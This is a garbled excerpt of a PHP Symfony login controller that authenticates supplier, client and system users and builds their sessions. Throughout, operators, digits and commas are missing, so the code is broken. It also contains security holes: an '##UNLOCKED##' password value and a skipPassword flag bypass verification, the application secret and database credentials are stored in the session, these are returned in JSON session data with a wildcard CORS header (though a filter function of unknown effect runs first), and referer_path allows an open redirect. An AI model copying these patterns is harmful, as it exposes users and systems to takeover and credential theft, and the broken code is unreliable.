  4410.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4411.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4412. //                                    if ($user->getPassword() == $request->request->get('password')) {
  4413. //                                        // user passed
  4414. //                                    } else {
  4415.                                     $message "Oops! Wrong Password";
  4416.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  4417.                                         return new JsonResponse(array(
  4418.                                             'uid' => $session->get(UserConstants::USER_ID),
  4419.                                             'session' => $session,
  4420.                                             'success' => false,
  4421.                                             'errorStr' => $message,
  4422.                                             'session_data' => [],
  4423.                                         ));
  4424.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4425.                                         //                    return $response;
  4426.                                     }
  4427.                                     if ($systemType == '_BUDDYBEE_')
  4428.                                         return $this->redirectToRoute("applicant_login", [
  4429.                                             "message" => $message,
  4430.                                             "errorField" => 'password',
  4431.                                         ]);
  4432.                                     else if ($systemType == '_SOPHIA_')
  4433.                                         return $this->redirectToRoute("sophia_login", [
  4434.                                             "message" => $message,
  4435.                                             "errorField" => 'username',
  4436.                                         ]);
  4437.                                     else if ($systemType == '_CENTRAL_')
  4438.                                         return $this->redirectToRoute("central_login", [
  4439.                                             "message" => $message,
  4440.                                             "errorField" => 'username',
  4441.                                         ]);
  4442.                                     else
  4443.                                         return $this->render($redirect_login_page_twig, array(
  4444.                                             "message" => $message,
  4445.                                             'page_title' => "Login",
  4446.                                             'gocList' => $gocDataList,
  4447.                                             'gocId' => $gocId
  4448.                                         ));
  4449.                                 }
  4450.                             }
  4451.                         }
  4452.                         $jd = [];
  4453.                         if ($jd != null && $jd != '' && $jd != [])
  4454.                             $company_id_list $jd;
  4455.                         else
  4456.                             $company_id_list = [];
  4457. //                        $companyList = Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4458. //                        foreach ($company_id_list as $c) {
  4459. //                            $company_name_list[$c] = $companyList[$c]['name'];
  4460. //                            $company_image_list[$c] = $companyList[$c]['image'];
  4461. //                        }
  4462.                     };
  4463.                 } else {
  4464.                     if ($cookieLogin == 1) {
  4465.                         $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4466.                             array(
  4467.                                 'userId' => $userId
  4468.                             )
  4469.                         );
  4470.                     } else if ($encrypedLogin == 1) {
  4471.                         if (in_array($userType, [34]))
  4472.                             $specialLogin 1;
  4473.                         if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4474.                             $user null;
  4475.                             if ($clientId 0) {
  4476.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4477.                                     array(
  4478.                                         'clientId' => $clientId
  4479.                                     )
  4480.                                 );
  4481.                             }
  4482.                             if (!$user) {
  4483.                                 $user $em->getRepository('ApplicationBundle\\Entity\\AccClients')->findOneBy(
  4484.                                     array(
  4485.                                         'globalUserId' => $globalId
  4486.                                     )
  4487.                                 );
  4488.                             }
  4489. //
  4490.                             if ($user)
  4491.                                 $userId $user->getClientId();
  4492.                             $clientId $userId;
  4493.                         } else if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4494.                             $user $em_goc->getRepository('ApplicationBundle\\Entity\\AccSuppliers')->findOneBy(
  4495.                                 array(
  4496.                                     'globalUserId' => $globalId
  4497.                                 )
  4498.                             );
  4499. //
  4500.                             if ($user)
  4501.                                 $userId $user->getSupplierId();
  4502.                             $supplierId $userId;
  4503.                         } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  4504. //                            $user = $em_goc->getRepository('CompanyGroupBundle\\Entity\\SysUser')->findOneBy(
  4505. //                                array(
  4506. //                                    'globalId' => $globalId
  4507. //                                )
  4508. //                            );
  4509. //
  4510. //                            if($user)
  4511. //                                $userId=$user->getUserId();
  4512. //                            $applicantId = $userId;
  4513.                         } else if ($userType == UserConstants::USER_TYPE_GENERAL || $userType == UserConstants::USER_TYPE_SYSTEM) {
  4514.                             $user $em->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4515.                                 array(
  4516.                                     'globalId' => $globalId
  4517.                                 )
  4518.                             );
  4519.                             if ($user)
  4520.                                 $userId $user->getUserId();
  4521.                         }
  4522.                     } else {
  4523.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4524.                             array(
  4525.                                 'userName' => $request->request->get('username')
  4526.                             )
  4527.                         );
  4528.                     }
  4529.                     if (!$user) {
  4530.                         $user $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\SysUser')->findOneBy(
  4531.                             array(
  4532.                                 'email' => $request->request->get('username'),
  4533.                                 'userName' => [null'']
  4534.                             )
  4535.                         );
  4536.                         if (!$user) {
  4537.                             $message "Wrong User Name";
  4538.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4539.                                 return new JsonResponse(array(
  4540.                                     'uid' => $session->get(UserConstants::USER_ID),
  4541.                                     'session' => $session,
  4542.                                     'success' => false,
  4543.                                     'errorStr' => $message,
  4544.                                     'session_data' => [],
  4545.                                 ));
  4546.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4547.                                 //                    return $response;
  4548.                             }
  4549.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4550.                                 "message" => $message,
  4551.                                 'page_title' => "Login",
  4552.                                 'gocList' => $gocDataList,
  4553.                                 'gocId' => $gocId
  4554.                             ));
  4555.                         } else {
  4556.                             //add the email as username as failsafe
  4557.                             $user->setUserName($request->request->get('username'));
  4558.                             $em->flush();
  4559.                         }
  4560.                     }
  4561.                     if ($user) {
  4562.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  4563.                             $message "Sorry, Your Account is Deactivated";
  4564.                             if ($request->request->get('remoteVerify'$request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify))) == 1) {
  4565.                                 return new JsonResponse(array(
  4566.                                     'uid' => $session->get(UserConstants::USER_ID),
  4567.                                     'session' => $session,
  4568.                                     'success' => false,
  4569.                                     'errorStr' => $message,
  4570.                                     'session_data' => [],
  4571.                                 ));
  4572.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4573.                                 //                    return $response;
  4574.                             }
  4575.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4576.                                 "message" => $message,
  4577.                                 'page_title' => "Login",
  4578.                                 'gocList' => $gocDataList,
  4579.                                 'gocId' => $gocId
  4580.                             ));
  4581.                         }
  4582.                     }
  4583.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4584.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4585.                         $message "Wrong Email/Password";
  4586.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4587.                             return new JsonResponse(array(
  4588.                                 'uid' => $session->get(UserConstants::USER_ID),
  4589.                                 'session' => $session,
  4590.                                 'success' => false,
  4591.                                 'errorStr' => $message,
  4592.                                 'session_data' => [],
  4593.                             ));
  4594.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4595.                             //                    return $response;
  4596.                         }
  4597.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4598.                             "message" => $message,
  4599.                             'page_title' => "Login",
  4600.                             'gocList' => $gocDataList,
  4601.                             'gocId' => $gocId
  4602.                         ));
  4603.                     }
  4604.                     $userType $user->getUserType();
  4605.                     $jd json_decode($user->getUserCompanyIdList(), true);
  4606.                     if ($jd != null && $jd != '' && $jd != [])
  4607.                         $company_id_list $jd;
  4608.                     else
  4609.                         $company_id_list = [$user->getUserCompanyId()];
  4610.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4611.                     foreach ($company_id_list as $c) {
  4612.                         if (isset($companyList[$c])) {
  4613.                             $company_name_list[$c] = $companyList[$c]['name'];
  4614.                             $company_image_list[$c] = $companyList[$c]['image'];
  4615.                             $company_dark_vibrant_list[$c] = $companyList[$c]['dark_vibrant'];
  4616.                             $company_light_vibrant_list[$c] = $companyList[$c]['light_vibrant'];
  4617.                             $company_vibrant_list[$c] = $companyList[$c]['vibrant'];
  4618.                         }
  4619.                     }
  4620.                 }
  4621. //                $data["email"] = $request->request->get('username') ? $request->request->get('username') : $oAuthData['email'];
  4622.                 if ($remember_me == 1)
  4623.                     $session->set('REMEMBERME'1);
  4624.                 else
  4625.                     $session->set('REMEMBERME'0);
  4626.                 $config = array(
  4627.                     'firstLogin' => $firstLogin,
  4628.                     'rememberMe' => $remember_me,
  4629.                     'notificationEnabled' => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4630.                     'notificationServer' => $this->getParameter('notification_server') == '' GeneralConstant::NOTIFICATION_SERVER $this->getParameter('notification_server'),
  4631.                     'applicationSecret' => $this->container->getParameter('secret'),
  4632.                     'gocId' => $gocId,
  4633.                     'appId' => $appIdFromUserName,
  4634.                     'gocDbName' => $gocDbName,
  4635.                     'gocDbUser' => $gocDbUser,
  4636.                     'gocDbHost' => $gocDbHost,
  4637.                     'gocDbPass' => $gocDbPass
  4638.                 );
  4639.                 $product_name_display_type 0;
  4640.                 if ($systemType != '_CENTRAL_') {
  4641.                     $product_name_display_settings $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSettings')->findOneBy(array(
  4642.                         'name' => 'product_name_display_method'
  4643.                     ));
  4644.                     if ($product_name_display_settings)
  4645.                         $product_name_display_type $product_name_display_settings->getData();
  4646.                 }
  4647.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER) {
  4648.                     $userCompanyId 1;
  4649.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4650.                     if (isset($companyList[$userCompanyId])) {
  4651.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4652.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4653.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4654.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4655.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4656.                     }
  4657.                     // General User
  4658.                     $session->set(UserConstants::USER_ID$user->getSupplierId());
  4659.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4660.                     $session->set(UserConstants::SUPPLIER_ID$user->getSupplierId());
  4661.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_SUPPLIER);
  4662.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4663.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4664.                     $session->set(UserConstants::USER_NAME$user->getSupplierName());
  4665.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4666.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4667.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4668.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4669.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4670.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4671.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4672.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4673.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4674.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4675.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4676.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4677.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4678.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4679.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4680.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4681.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4682.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4683.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4684.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4685.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4686.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4687.                     //                $PL=json_decode($user->getPositionIds(), true);
  4688.                     $route_list_array = [];
  4689.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4690.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4691.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4692.                     $loginID 0;
  4693.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4694.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4695.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4696.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4697.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4698.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4699.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4700.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4701.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4702.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4703.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4704.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4705.                         $session->set('remoteVerified'1);
  4706.                         $session_data = array(
  4707.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4708.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4709.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4710.                             UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4711.                             UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4712.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4713.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4714.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4715.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4716.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4717.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4718.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4719.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4720.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4721.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4722.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4723.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4724.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4725.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4726.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4727.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4728.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4729.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4730.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4731.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4732.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4733.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4734.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4735.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4736.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4737.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4738.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4739.                         );
  4740.                         $session_data $this->filterClientSessionData($session_data);
  4741.                         $response = new JsonResponse(array(
  4742.                             'uid' => $session->get(UserConstants::USER_ID),
  4743.                             'session' => $session,
  4744.                             'success' => true,
  4745.                             'session_data' => $session_data,
  4746.                         ));
  4747.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4748.                         return $response;
  4749.                     }
  4750.                     if ($request->request->has('referer_path')) {
  4751.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4752.                             return $this->redirect($request->request->get('referer_path'));
  4753.                         }
  4754.                     }
  4755.                     //                    if($request->request->has('gocId')
  4756.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4757.                     return $this->redirectToRoute("supplier_dashboard");
  4758.                     //                    else
  4759.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4760.                 }
  4761.                 if ($userType == UserConstants::USER_TYPE_CLIENT) {
  4762.                     // General User
  4763.                     $userCompanyId 1;
  4764.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4765.                     if (isset($companyList[$userCompanyId])) {
  4766.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4767.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4768.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4769.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  4770.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4771.                     }
  4772.                     $session->set(UserConstants::USER_ID$user->getClientId());
  4773.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4774.                     $session->set(UserConstants::CLIENT_ID$user->getClientId());
  4775.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_CLIENT);
  4776.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4777.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4778.                     $session->set(UserConstants::USER_NAME$user->getClientName());
  4779.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  4780.                     $session->set(UserConstants::USER_COMPANY_ID$user->getCompanyId());
  4781.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4782.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4783.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4784.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4785.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4786.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4787.                     $session->set(UserConstants::USER_APP_ID$appIdFromUserName);
  4788.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  4789.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  4790.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4791.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4792.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4793.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4794.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4795.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4796.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4797.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4798.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  4799.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  4800.                     //                $PL=json_decode($user->getPositionIds(), true);
  4801.                     $route_list_array = [];
  4802.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  4803.                     //                $loginID=$this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  4804.                     //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4805.                     $loginID 0;
  4806.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  4807.                     //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  4808.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  4809.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  4810.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  4811.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  4812.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  4813.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  4814.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  4815.                     $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4816.                     //                $session->set(UserConstants::USER_PROHIBIT_LIST, json_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0])));
  4817.                     $session_data = array(
  4818.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID0),
  4819.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4820.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4821.                         UserConstants::SUPPLIER_ID => $session->get(UserConstants::SUPPLIER_ID0),
  4822.                         UserConstants::CLIENT_ID => $session->get(UserConstants::CLIENT_ID0),
  4823.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID0),
  4824.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL''),
  4825.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE0),
  4826.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE''),
  4827.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE''),
  4828.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME''),
  4829.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID0),
  4830.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST, []),
  4831.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST, []),
  4832.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST, []),
  4833.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID0),
  4834.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION0),
  4835.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT''),
  4836.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET''),
  4837.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST''),
  4838.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4839.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4840.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4841.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG0),
  4842.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID0),
  4843.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME''),
  4844.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER''),
  4845.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST''),
  4846.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS''),
  4847.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE1),
  4848.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4849.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4850.                     );
  4851.                     $session_data $this->filterClientSessionData($session_data);
  4852.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4853.                     $session_data $tokenData['sessionData'];
  4854.                     $token $tokenData['token'];
  4855.                     $session->set('token'$token);
  4856.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4857.                         $session->set('remoteVerified'1);
  4858.                         $response = new JsonResponse(array(
  4859.                             'uid' => $session->get(UserConstants::USER_ID),
  4860.                             'session' => $session,
  4861.                             'token' => $token,
  4862.                             'success' => true,
  4863.                             'session_data' => $session_data,
  4864.                         ));
  4865.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4866.                         return $response;
  4867.                     }
  4868.                     if ($request->request->has('referer_path')) {
  4869.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4870.                             return $this->redirect($request->request->get('referer_path'));
  4871.                         }
  4872.                     }
  4873.                     //                    if($request->request->has('gocId')
  4874.                     //                    if($user->getDefaultRoute()==""||$user->getDefaultRoute()=="")
  4875.                     return $this->redirectToRoute("client_dashboard"); //will be client
  4876.                     //                    else
  4877.                     //                        return $this->redirectToRoute($user->getDefaultRoute());
  4878.                 } else if ($userType == UserConstants::USER_TYPE_SYSTEM) {
  4879.                     // System administrator
  4880.                     // System administrator have successfully logged in. Lets add a login ID.
  4881.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4882.                         ->findOneBy(
  4883.                             array(
  4884.                                 'userId' => $user->getUserId()
  4885.                             )
  4886.                         );
  4887.                     if ($employeeObj) {
  4888.                         $employeeId $employeeObj->getEmployeeId();
  4889.                         $epositionId $employeeObj->getPositionId();
  4890.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4891.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4892.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4893.                     }
  4894.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  4895.                         ->findOneBy(
  4896.                             array(
  4897.                                 'userId' => $user->getUserId(),
  4898.                                 'workingStatus' => 1
  4899.                             )
  4900.                         );
  4901.                     if ($currentTask) {
  4902.                         $currentTaskId $currentTask->getId();
  4903.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  4904.                     }
  4905.                     $userId $user->getUserId();
  4906.                     $userCompanyId 1;
  4907.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  4908.                     $userEmail $user->getEmail();
  4909.                     $userImage $user->getImage();
  4910.                     $userFullName $user->getName();
  4911.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  4912.                     $position_list_array json_decode($user->getPositionIds(), true);
  4913.                     if ($position_list_array == null$position_list_array = [];
  4914.                     $filtered_pos_array = [];
  4915.                     foreach ($position_list_array as $defPos)
  4916.                         if ($defPos != '' && $defPos != 0)
  4917.                             $filtered_pos_array[] = $defPos;
  4918.                     $position_list_array $filtered_pos_array;
  4919.                     if (!empty($position_list_array))
  4920.                         foreach ($position_list_array as $defPos)
  4921.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  4922.                                 $curr_position_id $defPos;
  4923.                             }
  4924.                     $userDefaultRoute $user->getDefaultRoute();
  4925. //                    $userDefaultRoute = 'MATHA';
  4926.                     $allModuleAccessFlag 1;
  4927.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  4928.                         $userDefaultRoute '';
  4929. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  4930.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4931.                     if (isset($companyList[$userCompanyId])) {
  4932.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  4933.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  4934.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  4935.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
